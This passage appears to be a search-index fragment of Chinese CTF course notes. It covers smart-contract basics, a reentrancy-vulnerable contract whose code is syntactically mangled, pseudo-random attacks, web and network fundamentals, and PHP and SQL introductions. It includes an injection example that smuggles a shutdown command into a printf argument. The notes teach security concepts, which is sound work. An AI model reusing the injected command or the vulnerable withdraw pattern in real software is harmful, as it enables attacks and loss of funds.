/sepolia-faucet.pk910.de/</p> </li> <li> <p>Ethernaut \u7b49\u5927\u578b\u516c\u5f00\u5408\u7ea6 CTF \u5e73\u53f0\u4f1a\u4f7f\u7528</p> </li> <li>\u79c1\u94fe\uff1a\u81ea\u5df1\u642d\u5efa\u7684\u94fe\uff0c\u6a21\u62df\u771f\u5b9e\u7684\u94fe<ul> <li>\u4e00\u822c CTF \u9898\u76ee\u90fd\u4f7f\u7528\u79c1\u94fe\u90e8\u7f72</li> <li>\u53ef\u4ee5\u901a\u8fc7 geth \u7b49\u5de5\u5177\u90e8\u7f72\u79c1\u94fe</li> </ul> </li> </ul> </li> </ul> </li> </ul>"},{"location":"NOTE/CTF/Misc/#_23","title":"\u667a\u80fd\u5408\u7ea6\u5b89\u5168\u57fa\u7840","text":"<p>\u5173\u4e8e\u5408\u7ea6</p> <ul> <li> <p>\u5408\u7ea6\u7684\u521b\u5efa\u548c\u8c03\u7528\u90fd\u901a\u8fc7\u4ea4\u6613\u6765\u8fdb\u884c</p> </li> <li> <p>\u5408\u7ea6\u8c03\u7528\uff1a</p> <ul> <li> <p>data \u5b57\u6bb5\u4e3a\u7f16\u7801\u540e\u7684\u51fd\u6570\u540d\uff08selector\uff09\u548c\u53c2\u6570\uff0c\u79f0\u4e3a calldata</p> </li> <li> <p>selector \u662f\u51fd\u6570\u7b7e\u540d keccak256 \u7684\u524d\u56db\u4e2a\u5b57\u8282</p> </li> <li> <p>\u4e0d\u5b58\u5728\u5bf9\u5e94 selector \u5219\u4f1a\u8c03\u7528 fallback \u51fd\u6570\uff0c\u8fd8\u4e0d\u5b58\u5728\u5219 revert</p> </li> <li>\u5408\u7ea6\u5b58\u50a8\uff1a\u5168\u516c\u5f00\u5b58\u50a8\uff0c\u90fd\u5728\u94fe\u4e0a\uff0c\u53ef\u4ee5 getStorageAt \u67e5\u770b</li> </ul> </li> <li> <p>revert\uff1a\u56de\u6eda\uff0c\u6240\u6709\u5f53\u524d\u8c03\u7528\u4e2d\u7684\u72b6\u6001\u6539\u53d8\u5168\u90fd\u590d\u539f</p> </li> <li> <p>\u5408\u7ea6\u7f16\u8bd1\u540e\u5f97\u5230\u5b57\u8282\u7801\u5728 EVM \u4e0a\u8fd0\u884c\uff1a</p> <ul> <li>https:/ethervm.io/</li> </ul> </li> </ul> <p>Solidity \u8bed\u8a00</p> <p>https://note.tonycrane.cc/ctf/blockchain/eth/solidity/  \u5b98\u65b9\u6587\u6863\uff1ahttps://docs.soliditylang.org/en/latest/index.html</p> <ul> <li>\u4ee5\u592a\u574a\u5b98\u65b9\u7684\u7f16\u5199\u667a\u80fd\u5408\u7ea6\u7684\u8bed\u8a00<ul> <li>IDE\uff1ahttps: /remix.ethereum.org/</li> <li>\u901a\u8fc7 contract \u5173\u952e\u5b57\u58f0\u660e\u4e00\u4e2a\u5408\u7ea6</li> <li>\u901a\u8fc7 function \u5b9a\u4e49\u4e00\u4e2a\u53ef\u4ee5\u8c03\u7528\u7684\u51fd\u6570</li> <li>public\u3001internal\u3001external\u3001private</li> <li>\u5c5e\u6027\uff08\u72b6\u6001\uff09\u4f1a\u81ea\u52a8\u521b\u5efa getter \u51fd\u6570</li> <li>\u901a\u8fc7 view\u3001pure \u5173\u952e\u5b57\u5b9a\u4e49\u4e00\u4e2a\u4e0d\u6539\u53d8\u72b6\u6001\u7684\u51fd\u6570</li> <li>\u901a\u8fc7 payable \u5173\u952e\u5b57\u5b9a\u4e49\u4e00\u4e2a\u53ef\u4ee5\u63a5\u6536\u4ee5\u592a\u5e01\u7684\u51fd\u6570</li> <li>\u7279\u6b8a\u51fd\u6570\uff1aconstructor\u3001fallback\u3001receive</li> </ul> </li> </ul>"},{"location":"NOTE/CTF/Misc/#_24","title":"\u5e38\u89c1\u6f0f\u6d1e","text":"<ul> <li>\u91cd\u5165\u653b\u51fb</li> </ul> <pre><code>contract Bank {\nmapping(address &gt; uint256) balances;\n .\nfunction withdraw(uint256 amount) public {\nrequire(balances[msg.sender] = amount);\n msg.sender.call.value(amount)(\"\");\n balances[msg.sender] -= amount;\n }\n}\n</code></pre> <p><code>withdraw</code> \u65f6\u5148\u8f6c\u94b1\u518d\u66f4\u65b0 balances,\u8f6c\u94b1\u7684\u65f6\u5019\u4f1a\u8fdb\u5165\u5230\u76ee\u6807\u5408\u7ea6\u7684 <code>fallback</code> \u51fd\u6570\uff0c\u53ef\u4ee5\u518d\u6b21\u8c03\u7528 <code>withdraw</code>,\u518d\u6b21\u8c03\u7528\u65f6<code>require</code>\u68c0\u67e5\u7684\u4ecd\u7136\u662f\u8001\u7684 <code>balances</code>,\u8fd9\u6837\u53ef\u4ee5\u628a\u94b1\u53d6\u7a7a</p> <ul> <li>\u4f2a\u968f\u673a\u6570</li> <li>\u533a\u5757\u94fe\u9700\u8981\u6240\u6709\u4ee5\u592a\u574a\u8282\u70b9\u9a8c\u8bc1\u4ea4\u6613\u8ba1\u7b97\u51fa\u76f8\u540c\u7ed3\u679c\u8fbe\u6210\u5171\u8bc6</li> <li>\u65e0\u6cd5\u5b9e\u73b0\u771f\u968f\u673a\u6570</li> <li>\u4f2a\u968f\u673a\u53ef\u4ee5\u7834\u89e3\uff1a<ul> <li>\u5229\u7528\u533a\u5757\u53d8\u91cf\u4f5c\u4e3a\u968f\u673a\u6570\uff1a\u53ef\u4ee5\u83b7\u53d6</li> <li>\u5229\u7528 blockhash \u4f5c\u4e3a\u968f\u673a\u6570\uff1a\u53ea\u4fdd\u7559\u6700\u8fd1 256 \u4e2a\u533a\u5757</li> <li>\u56de\u6eda\u653b\u51fb\uff1a\u4e0d\u65ad revert \u6765\u731c\u968f\u673a\u6570 \u5176\u4ed6\u5e38\u89c1\u6f0f\u6d1e</li> </ul> </li> </ul>"},{"location":"NOTE/CTF/Misc/#ctf","title":"CTF \u6bd4\u8d5b\u4e2d\u7684\u79c1\u94fe\u9898\u76ee\u4ea4\u4e92","text":"<p>\u4e00\u822c\u4f1a\u8fc7\u6ee4\u6389\u5927\u90e8\u5206 geth rpc \u63a5\u53e3,\u9632\u6b62\u5176\u4ed6\u961f\u4f0d\u6252\u94fe\u8e6d\u8f66 / \u91cd\u653e</p> <ul> <li>\u767d\u540d\u5355\u793a\u4f8b\u53ef\u89c1 chainflag/solidctf\u4e2d\u7684\u767d\u540d\u5355\uff0c\u4e00\u822c\u5c31\u662f\u8fd9\u4e9b</li> <li> <p>geth \u624b\u52a8\u64cd\u4f5c\u5f88\u590d\u6742\uff08\u53ea\u80fd\u53d1 raw\uff09\uff0cremix/metamask \u53ef\u80fd\u4f1a\u65e0\u6cd5\u8fde\u63a5</p> <ul> <li> <p>\u53ef\u4ee5 / \u63a8\u8350\u901a\u8fc7 web3.py \u8fdb\u884c\u4ea4\u4e92</p> </li> <li> <p>\u901a\u8fc7 eth.contract \u548c abi \u4e0e addr/bytecode \u521b\u5efa\u5408\u7ea6\u5bf9\u8c61</p> </li> <li> <p>\u901a\u8fc7 contract.functions.f().build_transaction() \u6784\u5efa\u4ea4\u6613</p> </li> <li> <p>\u901a\u8fc7 eth.account.sign_transaction(txn, privateKey) \u7b7e\u540d</p> </li> <li> <p>\u5f97\u5230 rawTransaction \u540e eth.send_raw_transaction(raw) \u53d1\u9001</p> </li> <li> <p>\u901a\u8fc7 eth.wait_for_transaction_receipt(hash) \u7b49\u5f85\u4ea4\u6613\u5b8c\u6210</p> </li> <li> <p>\u65e0\u9700\u4ea4\u6613\u7684 view \u51fd\u6570\u53ef\u4ee5\u76f4\u63a5 contract.functions.f().call()</p> </li> <li> <p>https:/note.tonycrane.cc/ctf/blockchain/eth/basic/ _15</p> </li> </ul> </li> </ul> <p>more</p> <p>Read more: note.tonycrane.cc/ctf/blockchain/eth - \u4ee5\u592a\u574a\u57fa\u7840\u77e5\u8bc6\uff1a\u8d26\u6237\u3001\u4ea4\u6613\u3001\u5408\u7ea6\u3001\u533a\u5757\u7b49\uff0c\u53ca\u5176\u539f\u7406</p> <ul> <li> <p>Solidity \u8bed\u8a00\uff1a\u6700\u5e38\u7528\u7684\u667a\u80fd\u5408\u7ea6\u8bed\u8a00\uff0c\u4ee5\u592a\u574a\u5b98\u65b9\u8bed\u8a00</p> </li> <li> <p>\u4e86\u89e3\u5176\u8bed\u6cd5\u3001\u7c7b\u578b\uff0c\u4ee5\u53ca\u5408\u7ea6\u8fd0\u884c\u7684\u6574\u4f53\u903b\u8f91</p> </li> <li> <p>\u4e86\u89e3\u4e00\u4e9b ERC \u6807\u51c6\uff08\u76ee\u7684\u662f\u770b\u61c2\u9898\u76ee\u7684\u5408\u7ea6\uff09</p> </li> <li> <p>\u4ee5\u592a\u574a\u865a\u62df\u673a\uff08EVM\uff09\uff1a\u6267\u884c\u5408\u7ea6\u5b57\u8282\u7801\u7684\u6808\u7ed3\u6784\u865a\u62df\u673a</p> </li> <li> <p>\u4e86\u89e3\u5176\u8fd0\u884c\u539f\u7406\uff0c\u4e0e\u8d26\u6237\u3001\u5408\u7ea6\u3001\u4ea4\u6613\u7684\u5173\u7cfb\uff0c\u53cd\u6c47\u7f16\u3001\u53cd\u7f16\u8bd1\u7684\u65b9\u6cd5</p> </li> <li> <p>\u4ea4\u4e92\u3001\u6d4b\u8bd5\u73af\u5883\uff1ageth\u3001Remix\u3001MetaMask\u3001web3.js\u3001web3.py \u7b49</p> </li> <li>\u5e38\u89c1\u5408\u7ea6\u6f0f\u6d1e\uff1a\u6574\u578b\u6ea2\u51fa\u3001\u91cd\u5165\u3001\u4f2a\u968f\u673a\u3001\u8585\u7f8a\u6bdb\u3001\u975e\u9884\u671f\u7684\u8fdc\u7a0b\u8c03\u7528\u2026\u2026</li> </ul>"},{"location":"NOTE/CTF/reverse/","title":"reverse","text":"<p> \u7ea6 13 \u4e2a\u5b57 </p>"},{"location":"NOTE/CTF/reverse/#7-5-lec4-reverse","title":"7-5 lec4-reverse","text":"<p>\u6388\u8bfe\uff1a\u6211\u6ca1\u542c</p> <p>\u6211\u53bb\u957f\u6c99\u73a9\u8fa3</p>"},{"location":"NOTE/CTF/web/","title":"web","text":"<p> \u7ea6 3168 \u4e2a\u5b57  387 \u884c\u4ee3\u7801  \u9884\u8ba1\u9605\u8bfb\u65f6\u95f4 16 \u5206\u949f</p>"},{"location":"NOTE/CTF/web/#7-3-lec2-web","title":"7-3 lec2-Web","text":"<p>\u6388\u8bfe\uff1a\u53f6\u8000\u9633</p>"},{"location":"NOTE/CTF/web/#_1","title":"\u524d\u7f6e","text":"<p>\u4e0b\u8f7d  - PHPstudy - Node.js</p>"},{"location":"NOTE/CTF/web/#web","title":"Web \u5e94\u7528\u67b6\u6784\uff1a\u5ba2\u6237\u7aef+\u670d\u52a1\u7aef","text":"<p>\u684c\u9762\u5e94\u7528\u548cWeb\u5e94\u7528\u5728\u67b6\u6784\u4e0a\u6709\u663e\u8457\u7684\u533a\u522b\u3002\u684c\u9762\u5e94\u7528\u901a\u5e38\u662f\u5728\u672c\u5730\u8fd0\u884c\u7684\u72ec\u7acb\u7a0b\u5e8f\uff0c\u800cWeb\u5e94\u7528\u5219\u9700\u8981\u4f9d\u8d56\u5ba2\u6237\u7aef\u548c\u670d\u52a1\u7aef\u7684\u534f\u4f5c\u3002</p> <ul> <li>\u5ba2\u6237\u7aef\uff1a\u4f60\u7684\u6d4f\u89c8\u5668<ul> <li>\u53ef\u89c6\u5316\uff1a\u56fe\u5f62\u3001\u56fe\u7247\u3001\u5e03\u5c40\u2026\u2026 HTML + CSS</li> <li>\u4eba\u673a\u4ea4\u4e92\u903b\u8f91\uff1a\u6309\u94ae\u70b9\u51fb\uff0c\u767b\u5f55\uff0c\u53d1\u9001\u8bf7\u6c42\u2026\u2026JS</li> <li>\u7f13\u5b58\u3001Cookie</li> <li>\u5b89\u5168\uff1a\u4e0d\u80fd\u5c06\u79c1\u5bc6\u7684\u3001\u4e0d\u8be5\u83b7\u53d6\u7684\u4fe1\u606f\u4f20\u51fa\u53bb\uff08\u6bd4\u5982 Cookie\uff09\uff0c\u4e0d\u80fd\u4e3a\u6240\u6b32\u4e3a\uff08\u6bd4\u5982\u6ce8\u9500\u5176\u4ed6\u7f51\u7ad9\u7684\u8d26\u53f7\uff09</li> </ul> </li> <li>\u670d\u52a1\u7aef\uff1a\u67d0\u53f0\u6216\u5f88\u591a\u53f0\u670d\u52a1\u5668<ul> <li>\u8ba4\u8bc1\u4e0e\u9274\u6743\uff1a\u5982\u4f55\u8bc1\u660e\u4f60\u662f\u4f60<ul> <li>Authentication(\u8ba4\u8bc1)</li> <li>Authorization(\u9274\u6743)</li> </ul> </li> <li>\u5904\u7406\u8bf7\u6c42\uff1a\u7528\u6237\u9700\u8981\u505a\u4ec0\u4e48\uff1f\u5c06\u7ed3\u679c\u8fd4\u56de\u5ba2\u6237\u7aef</li> <li>\u670d\u52a1\u5668\u4e5f\u53ef\u4ee5\u6709\u4e0d\u540c\u5206\u5de5\uff1a\u524d\u7aef\u540e\u7aef\u3001\u6570\u636e\u5e93\u2026\u2026</li> <li>\u5b89\u5168\uff1a\u7528\u6237\u4e0d\u80fd\u83b7\u5f97\u4e0d\u8be5\u83b7\u53d6\u7684\u4fe1\u606f\uff08\u6bd4\u5982 flag\uff09\uff0c\u4e0d\u80fd\u4e3a\u6240\u6b32\u4e3a\uff08\u6bd4\u5982\u4efb\u610f\u4ee3\u7801\u6267\u884c\uff09</li> </ul> </li> </ul>"},{"location":"NOTE/CTF/web/#_2","title":"\u7f51\u7edc\uff1a\u6570\u636e\u4ea4\u6362","text":"<ul> <li>\u6570\u636e\u5305\u7684\u4f20\u8f93\u4e0e\u8def\u7531 \u60f3\u8c61\u4e00\u4e0b\uff0c\u6570\u636e\u5305\u5c31\u50cf\u662f\u4e00\u5c01\u5c01\u4fe1\u4ef6\uff0c\u800c\u7f51\u7edc\u5219\u662f\u904d\u5e03\u5168\u7403\u7684\u90ae\u653f\u7cfb\u7edf\u3002\u5f53\u6211\u4eec\u5728\u7535\u8111\u4e0a\u70b9\u51fb\u53d1\u9001\u90ae\u4ef6\u65f6\uff0c\u6570\u636e\u88ab\u5207\u5272\u6210\u4e00\u4e2a\u4e2a\u5c0f\u5305\u88f9\uff0c\u5373\u6570\u636e\u5305\u3002\u8fd9\u4e9b\u6570\u636e\u5305\u968f\u540e\u88ab\u9001\u5f80\u6700\u8fd1\u7684\u90ae\u5c40\uff0c\u4e5f\u5c31\u662f\u8def\u7531\u5668\u3002\u8def\u7531\u5668\u5c31\u50cf\u90ae\u5c40\u7684\u5206\u62e3\u5458\uff0c\u6839\u636e\u5305\u88f9\u4e0a\u7684\u5730\u5740\uff08\u5373IP\u5730\u5740\uff09\uff0c\u51b3\u5b9a\u5c06\u5b83\u4eec\u9001\u5f80\u4e0b\u4e00\u4e2a\u90ae\u5c40\uff0c\u76f4\u81f3\u6700\u7ec8\u5230\u8fbe\u76ee\u7684\u5730\u3002\u8fd9\u4e2a\u8fc7\u7a0b\u4e2d\uff0c\u6bcf\u4e2a\u8def\u7531\u5668\u90fd\u4f1a\u67e5\u770b\u6570\u636e\u5305\u7684\u76ee\u7684\u5730\uff0c\u5e76\u9009\u62e9\u6700\u4f73\u8def\u5f84\uff0c\u786e\u4fdd\u6570\u636e\u5305\u80fd\u591f\u5feb\u901f\u3001\u51c6\u786e\u5730\u5230\u8fbe\u3002</li> <li>\u57df\u540d\u4e0eDNS\u7cfb\u7edf \u5728\u7f51\u7edc\u7684\u4e16\u754c\u91cc\uff0cIP\u5730\u5740\u5c31\u50cf\u662f\u95e8\u724c\u53f7\u7801\uff0c\u867d\u7136\u7cbe\u786e\uff0c\u4f46\u8bb0\u5fc6\u8d77\u6765\u5374\u9887\u4e3a\u56f0\u96be\u3002\u8fd9\u65f6\uff0c\u57df\u540d\u7cfb\u7edf\uff08DNS\uff09\u5c31\u5982\u540c\u4e00\u4e2a\u667a\u80fd\u7684\u7535\u8bdd\u7c3f\uff0c\u5c06\u590d\u6742\u7684IP\u5730\u5740\u8f6c\u5316\u4e3a\u6613\u4e8e\u8bb0\u5fc6\u7684\u57df\u540d\uff0c\u6bd4\u5982<code>www.example.com</code>\u3002\u5f53\u4f60\u5728\u6d4f\u89c8\u5668\u4e2d\u8f93\u5165\u4e00\u4e2a\u57df\u540d\u65f6\uff0cDNS\u670d\u52a1\u5668\u4f1a\u50cf\u67e5\u7535\u8bdd\u7c3f\u4e00\u6837\uff0c\u627e\u5230\u5bf9\u5e94\u7684IP\u5730\u5740\uff0c\u5e76\u6307\u5f15\u4f60\u7684\u8bf7\u6c42\u5230\u8fbe\u6b63\u786e\u7684\u670d\u52a1\u5668\u3002</li> <li> <p>OSI\u6a21\u578b\u548cTCP/IP\u6a21\u578b \u6b63\u5982\u6211\u4eec\u5199\u4ee3\u7801\u5c42\u5c42\u5c01\u88c5\uff0c\u8ba1\u7b97\u673a\u7f51\u7edc\u7684\u603b\u4f53\u67b6\u6784\u4e5f\u662f\u5206\u5c42\u7684\u3002\u8fd9\u6837\u6bcf\u4e2a\u5c42\u5404\u53f8\u5176\u804c\uff0c\u4e0b\u5c42\u4e0a\u4e0a\u5c42\u7684\u57fa\u7840\u8bbe\u65bd\uff0c\u9010\u6e10\u6784\u5efa\u590d\u6742\u7684\u529f\u80fd\u3002</p> </li> <li> <p>OSI \u4e03\u5c42\u6a21\u578b</p> <p></p> </li> <li> <p>TCP/IP \u56db\u5c42\u6a21\u578b\uff1a\u5e7f\u6cdb\u4f7f\u7528</p> <p></p> </li> <li> <p>TCP/IP \u534f\u8bae\u8be6\u89e3</p> <ul> <li>IP: \u7f51\u7edc\u5c42=\u4e3b\u673a\u5230\u4e3b\u673a\uff0c\u6570\u636e\u5305\u5bfb\u5740\uff08\u5feb\u9012\u516c\u53f8\uff09</li> <li>TCP: \u4f20\u8f93\u5c42=\u5e94\u7528\u5230\u5e94\u7528\uff0c\u6216\u8005\u8bf4\u7aef\u5230\u7aef\uff08\u83dc\u9e1f\u9a7f\u7ad9\uff09 \u65e0\u8fb9\u754c\u7684\u5b57\u8282\u6d41\uff0c\u7c7b\u6bd4\u7535\u62a5\u62a5\u6587\uff0c\u7535\u62a5\u7684\u683c\u5f0f\u662f\u5e94\u7528\u5c42\u534f\u8bae\u8be5\u505a\u7684\uff0c\u7535\u62a5\u672c\u8eab\u53ea\u53d1\u5b57\u6bcd\u6570\u5b57</li> </ul> </li> <li> <p>HTTP \u534f\u8bae\u8be6\u89e3</p> <ul> <li>Hyper Text Transfer Protocol</li> <li>\u8d85\u6587\u672c\u4f20\u8f93\u534f\u8bae</li> <li>\u5e94\u7528\u5c42</li> <li>\u7279\u70b9\uff1a\u65e0\u72b6\u6001\uff0c\u7eaf\u6587\u672c<ul> <li>\u9700\u8981\u7ef4\u6301\u72b6\u6001\uff08\u6bd4\u5982\uff1a\u7528\u6237\u5df2\u767b\u5f55\uff09\u600e\u4e48\u529e\uff1fCookie</li> </ul> </li> <li>\u683c\u5f0f</li> </ul> </li> <li> <p>DNS\u8bb0\u5f55\uff1a</p> </li> <li>A\u8bb0\u5f55\uff1a\u6307\u5411IPV4\u5730\u5740</li> <li>AAAA\u8bb0\u5f55\uff1a\u6307\u5411IPV6\u5730\u5740</li> <li>CNAME\uff1a \u522b\u540d\uff0c\u6307\u5411\u53e6\u5916\u4e00\u4e2a\u57df\u540d</li> <li>TXT\u7eaf\u6587\u672c </li> <li>NS(Name server)               \u975e\u6743\u5a01\uff0c\u53ef\u80fd\u4f1a\u7f13\u5b58\uff0c\u4e0d\u4e00\u5b9a\u5b9e\u65f6\u66f4\u65b0</li> <li>MX SOA</li> <li>\u547d\u4ee4<code>tracert</code>\u53ef\u4ee5\u67e5\u770b\u7f51\u7ad9\u5982\u4f55\u8df3\u8f6c</li> <li> <p>TTL time to live \u9632\u6b62\u5b83\u4e00\u76f4\u5728\u8df3\uff0cTTL\u7528\u5b8c\u4e86\u5c31\u6b7b\u4e86</p> </li> <li> <p>\u4ee3\u7406PROXY</p> </li> <li>\u6b63\u5411\u4ee3\u7406\uff1aVPN\uff1aVirtual Private Network\uff0c\u770b\u8d77\u6765\u50cf\u5728\u5185\u7f51</li> <li>\u53cd\u5411\u4ee3\u7406\uff1a\u9690\u85cf\u771f\u5b9eIP\uff0c\u90e8\u7f72CDN\uff0c\u90e8\u7f72\u9632\u706b\u5899\uff0c\u5185\u7f51\u7a7f\u900f \u5185\u7f51\u7a7f\u5230\u5916\u9762\u6765 </li> </ul>"},{"location":"NOTE/CTF/web/#_3","title":"\u540e\u7aef\uff1a\u4e1a\u52a1\u903b\u8f91","text":"<p>\u540e\u7aef\u662fWeb\u5e94\u7528\u7684\u6838\u5fc3\uff0c\u5b83\u8d1f\u8d23\u5904\u7406\u4e1a\u52a1\u903b\u8f91\u3001\u6570\u636e\u5b58\u50a8\u548c\u5b89\u5168\u3002\u5728\u8fd9\u4e00\u90e8\u5206\uff0c\u6211\u4eec\u4f1a\u4ecb\u7ecd\u5e38\u89c1\u7684\u540e\u7aef\u6280\u672f\u6808\uff0c\u5e76\u91cd\u70b9\u8ba8\u8bba\u540e\u7aef\u5b89\u5168\uff0c\u5c24\u5176\u662f\u5982\u4f55\u9632\u8303\u548c\u5e94\u5bf9CTF\uff08Capture the Flag\uff09\u4e2d\u5e38\u89c1\u7684\u903b\u8f91\u6f0f\u6d1e\u653b\u51fb\u3002</p> <ul> <li>\u5e38\u89c1\u540e\u7aef\u6280\u672f\u6808\uff08\u5982Node.js\u3001PHP\u3001Python\u3001Ruby\u3001Go\u3001Rust \u7b49\uff09</li> <li>\u540e\u7aef\u5b89\u5168\uff1a\u6c38\u8fdc\u4e0d\u8981\u76f8\u4fe1\u7528\u6237\u7684\u6570\u636e\uff0c\u4e00\u5207\u524d\u7aef\u7684\u8fc7\u6ee4\u90fd\u7b49\u4e8e\u6ca1\u6709\u8fc7\u6ee4\uff01</li> <li> <p>CTF: \u901a\u8fc7\u903b\u8f91\u6f0f\u6d1e\u7b49\u6b3a\u9a97\u540e\u7aef \u903b\u8f91\u6f0f\u6d1e\uff1a<code>if money!=0 then money-=price.</code> What if <code>money=-1</code> ?</p> <p>\u6ca1\u63a5\u89e6\u5b89\u5168\u9886\u57df\u524d\u5173\u4e8e\u5b89\u5168\u7684\u9519\u89c9\uff1a</p> <ul> <li>\u8fd9\u4e48\u8822\u7684\u6d1e\u4e5f\u6709\u4eba\u5199\uff1f</li> <li>\u8fd9\u4e48\u5199\u600e\u4e48\u53ef\u80fd\u6709\u6d1e\uff1f</li> <li>\u8fd9\u4e48\u591a\u4eba\u7528\u600e\u4e48\u53ef\u80fd\u6709\u6d1e\uff1f</li> </ul> <p>\u4e8b\u5b9e\uff1a\u8fdeSSH\u4eca\u5e74\u90fd\u8fd8\u80fd\u6709\u9ad8\u5371\u6f0f\u6d1e CVE-2024-6387</p> <p>\u771f\u5b9e\u4f8b\u5b50\uff08\u51fa\u81ea\u9694\u58c1EE\u5b66\u9662\u540c\u5b66\u7684\u624b\u7b14\uff0c\u79d1\u73ed-\u534a\u8def\u51fa\u5bb6=\u5b89\u5168+\u8d28\u91cf\uff09\uff1a</p> <p>\u6ce8\u5165\uff1a\u6df7\u6dc6\u4e86\u6570\u636e\u548c\u4ee3\u7801\u3002</p> <p>\u4f8b\u5982<code>printf(\"%d\", _____)</code></p> <p>\u6b63\u5e38\u8f93\u5165\uff1a<code>1</code> <code>2</code> <code>3</code> </p> <p>\u6076\u610f\u8f93\u5165\uff1a<code>1); system(\"shutdown -s -t 0\"); //</code></p> <p>\u5c31\u53d8\u6210\u4e86<code>printf(\"%d\", 1); system(\"shutdown -s -t 0\"); //)</code></p> <p>\u7206\u4e86  </p> </li> </ul>"},{"location":"NOTE/CTF/web/#php","title":"PHP \u7b80\u5355\u5165\u95e8","text":"<p>PHP\u662f\u6700\u65e9\u7684Web\u5f00\u53d1\u8bed\u8a00\u4e4b\u4e00\uff0c\u5b83\u5728Web\u5f00\u53d1\u5386\u53f2\u4e0a\u5360\u6709\u91cd\u8981\u5730\u4f4d\u3002</p> <p>\u4f46\u5b83\u5feb\u6b7b\u4e86\u3002</p> <p>\u65e9\u5e74\u53ea\u6709\u9759\u6001\u7f51\u9875\uff0c\u800c\u540e\u6765\u6709\u4e86jsp\u548cphp</p> <ul> <li>\u73af\u5883\u914d\u7f6e\uff1aPHP Study</li> <li> <p>\u53d8\u91cf\u5b9a\u4e49</p> <pre><code>$name = \"John\"; // \u5b57\u7b26\u4e32\u53d8\u91cf\n$age = 25;      // \u6574\u6570\u53d8\u91cf\n$height = 1.75; // \u6d6e\u70b9\u6570\u53d8\u91cf\n$isStudent = true; // \u5e03\u5c14\u53d8\u91cf\n</code></pre> </li> <li> <p>\u77ed\u6807\u7b7e <code>&lt;?=$a?&gt;</code></p> </li> <li>\u4f8b\u5b50\uff1a</li> </ul> Note <pre><code>&lt;!DOCTYPE html&gt;\n&lt;html&gt;\n&lt;head&gt;\n    &lt;title&gt;PHP \u793a\u4f8b&lt;/title&gt;\n&lt;/head&gt;\n&lt;body&gt;\n    &lt;h1&gt;\u6b22\u8fce\u4f7f\u7528 PHP&lt;/h1&gt;\n    &lt;?php\n    // \u5b9a\u4e49\u53d8\u91cf\n    $name = \"John\";\n    $age = 25;\n\n    // \u8f93\u51fa\u53d8\u91cf\n    echo \"&lt;p&gt;\u4f60\u597d\uff0c\u6211\u7684\u540d\u5b57\u662f $name\uff0c\u6211\u4eca\u5e74 $age \u5c81\u3002&lt;/p&gt;\";\n\n    // \u6761\u4ef6\u8bed\u53e5\n    if ($age &gt;= 18) {\n        echo \"&lt;p&gt;\u6211\u5df2\u6210\u5e74\u3002&lt;/p&gt;\";\n    } else {\n        echo \"&lt;p&gt;\u6211\u672a\u6210\u5e74\u3002&lt;/p&gt;\";\n    }\n\n    // \u6570\u7ec4\n    $fruits = array(\"apple\", \"banana\", \"cherry\");\n    echo \"&lt;p&gt;\u6211\u559c\u6b22\u7684\u6c34\u679c\u6709\uff1a&lt;/p&gt;\";\n    echo \"&lt;ul&gt;\";\n    foreach ($fruits as $fruit) {\n        echo \"&lt;li&gt;$fruit&lt;/li&gt;\";\n    }\n    echo \"&lt;/ul&gt;\";\n\n    // HTML \u77ed\u6807\u7b7e\n    ?&gt;\n    &lt;p&gt;\u8fd9\u662f\u4f7f\u7528 HTML \u77ed\u6807\u7b7e\u7684\u793a\u4f8b\uff1a&lt;/p&gt;\n    &lt;?= \"\u5f53\u524d\u65f6\u95f4\u662f\uff1a\" . date(\"Y-m-d H:i:s\") ?&gt;\n\n    &lt;?php\n    $fr = \"pear\";\n    $pear = 114;\n    $lingo = 514;\n    echo $$fr;\n    ?&gt;\n&lt;/body&gt;\n&lt;/html&gt;\n</code></pre> <p>\u83b7\u53d6 GET \u53c2\u6570\u4e0e Cookie \u5e76\u67e5\u8be2\u6570\u636e\u5e93\u5bf9\u5e94\u7684\u7528\u6237\uff1a</p> Note <pre><code>   &lt;?php\n// \u6570\u636e\u5e93\u8fde\u63a5\u4fe1\u606f\n$servername = \"localhost\";\n$username = \"root\";\n$password = \"\";\n$dbname = \"test_db\";\n\n// \u521b\u5efa\u6570\u636e\u5e93\u8fde\u63a5\n$conn = new mysqli($servername, $username, $password, $dbname);\n\n// \u68c0\u67e5\u8fde\u63a5\u662f\u5426\u6210\u529f\nif ($conn-&gt;connect_error) {\n    die(\"\u8fde\u63a5\u5931\u8d25: \" . $conn-&gt;connect_error);\n}\n\n// \u83b7\u53d6GET\u53c2\u6570\n$userId = isset($_GET['user_id']) ? intval($_GET['user_id']) : 0;\n\n// \u83b7\u53d6Cookie\n$sessionId = isset($_COOKIE['session_id']) ? $_COOKIE['session_id'] : '';\n\n// \u67e5\u8be2\u6570\u636e\u5e93\nif ($userId &gt; 0) {\n    $sql = \"SELECT * FROM users WHERE id = $userId\";\n    $result = $conn-&gt;query($sql);\n\n    if ($result-&gt;num_rows &gt; 0) {\n        $user = $result-&gt;fetch_assoc();\n        echo \"&lt;p&gt;\u7528\u6237\u4fe1\u606f: &lt;/p&gt;\";\n        echo \"&lt;p&gt;ID: \" . $user['id'] . \"&lt;/p&gt;\";\n        echo \"&lt;p&gt;\u59d3\u540d: \" . $user['name'] . \"&lt;/p&gt;\";\n        echo \"&lt;p&gt;\u90ae\u7bb1: \" . $user['email'] . \"&lt;/p&gt;\";\n    } else {\n        echo \"&lt;p&gt;\u6ca1\u6709\u627e\u5230\u5bf9\u5e94\u7684\u7528\u6237\u3002&lt;/p&gt;\";\n    }\n} else {\n    echo \"&lt;p&gt;\u65e0\u6548\u7684\u7528\u6237ID\u3002&lt;/p&gt;\";\n}\n\n// \u5173\u95ed\u6570\u636e\u5e93\u8fde\u63a5\n$conn-&gt;close();\n?&gt;\n</code></pre>"},{"location":"NOTE/CTF/web/#sql","title":"SQL \u7b80\u5355\u5165\u95e8","text":"<p>\u5165\u95e8\u53ef\u4ee5\u4ece MySQL \u5f00\u59cb\u3002</p>"},{"location":"NOTE/CTF/web/#_4","title":"\u76f8\u5173\u5b89\u5168\u8bdd\u9898","text":"<ul> <li>Cookie \u4e0e Session<ul> <li>Cookie\uff1a\u5b58\u50a8\u5728\u5ba2\u6237\u7aef\u7684\u5c0f\u578b\u6587\u672c\u6587\u4ef6\uff0c\u901a\u5e38\u7528\u4e8e\u5b58\u50a8\u7528\u6237\u7684\u504f\u597d\u8bbe\u7f6e\u3001\u8eab\u4efd\u9a8c\u8bc1\u4fe1\u606f\u7b49\u3002<ul> 